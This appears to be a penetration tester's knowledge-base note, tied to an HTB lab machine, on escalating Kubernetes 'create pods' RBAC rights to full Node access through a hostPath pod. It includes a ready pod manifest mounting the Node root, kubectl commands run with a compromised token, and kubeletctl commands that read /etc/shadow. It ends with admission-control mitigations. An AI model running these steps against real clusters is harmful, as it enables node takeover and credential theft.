đź§ Kubernetes - Malicious Pod Creation (hostPath Escape)
- Concept: RBAC in Kubernetes controls verbs on resources —
createonpods— but says nothing about what that Pod’sspecis allowed to contain. Any identity permitted to create a Pod is, by extension, permitted to write its ownvolumes,hostNetwork, andhostPIDfields, which means “can create Pods” and “can mount the entire Node filesystem into a container I control” are the same permission in practice. - Impact: A single, narrowly-scoped-looking RBAC grant (
createonpods, nothing about Secrets or cluster-admin) escalates directly to reading/writing any file on the underlying Node — which usually means every other Pod’s data, the kubelet’s own credentials, and (via/root/.ssh,/etc/shadow, cron jobs, etc.) full Node-level code execution.
How it works
- A
hostPathvolume mounts a path from the Node’s filesystem into the container — it deliberately breaks the container/Node isolation Kubernetes otherwise provides, for legitimate uses like log collectors or CNI plugins that genuinely need Node-level access. - Mounting
hostPath: { path: / }into a container path gives that container an unrestricted view of the entire Node’s root filesystem — every user’s home directory, every other Pod’s mounted volumes and secrets on that Node,/etc/shadow, SSH keys, cron jobs, all readable and writable through the malicious container’s normal filesystem operations. hostNetwork: trueadditionally puts the Pod directly on the Node’s own network namespace, andautomountServiceAccountToken: trueensures the new Pod gets its own fresh ServiceAccount token — useful if the identity used to create it is more privileged than whatever token was harvested earlier in the chain.- Once the API server schedules and starts this Pod, its container is functionally not contained — commands run inside it (via kubeletctl
/exec, or any other exec path) act directly on Node-owned files.
Exploitation
Prerequisites
- A credential (ServiceAccount token, kubeconfig, etc.) authorized to
create(and ideallyget/list, to confirm it landed) Pods in some namespace — confirm withkubectl auth can-i --list
Attack Vectors
# f.yaml — mounts the entire Node root filesystem at /root inside the container
apiVersion: v1
kind: Pod
metadata:
name: nginxt
namespace: default
spec:
containers:
- name: nginxt
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true# 1. Spawn the malicious pod using the compromised identity
kubectl --token=$token --certificate-authority=ca.crt --server=https://<node-ip>:8443 apply -f f.yaml# 2. Confirm it's scheduled and running
kubectl --token=$token --certificate-authority=ca.crt --server=https://<node-ip>:8443 get pods# 3. Read (or write) anything on the real Node filesystem through the mount
kubeletctl --server <node-ip> exec "cat /root/root/root.txt" -p nginxt -c nginxt
kubeletctl --server <node-ip> exec "cat /root/etc/shadow" -p nginxt -c nginxtNotes
- The mount path chosen inside the container (
/rootabove) is arbitrary and unrelated to the Node’s actual/rootdirectory — it’s just a mountpoint name. The Node’s real/root/root.txtends up reachable at<mountPath>/root/root.txtfrom inside the container, which is easy to misread as a coincidence rather than the mount doing exactly what it says. - This doesn’t require any container-breakout CVE or kernel bug — it’s a fully “intended” Kubernetes feature (
hostPathvolumes exist on purpose) misused because RBAC never validated what the created object was allowed to contain. Compare torunc-level breakouts (e.g. CVE-2024-21626, see HTB Machine - GiveBack) which need an actual implementation bug — this technique needs nothing but an overly broadcreate podsgrant. - If image pulls are restricted, any base image already present on the Node (or a minimal
busybox/alpine) works just as well asnginx— the image only needs to boot and stay running long enough to exec into.
Mitigation
- Fix: Enforce Pod Security Admission at
baselineorrestricted(or an admission controller like Kyverno/OPA Gatekeeper) to rejecthostPathvolumes,hostNetwork, andhostPIDfrom any namespace that isn’t explicitly trusted infrastructure — RBAC alone cannot express “you may create Pods, but not ones that escape containment.”
Related Usage
| File | Created |
|---|---|
| HTB Machine - SteamCloud | July 27, 2026 |
References: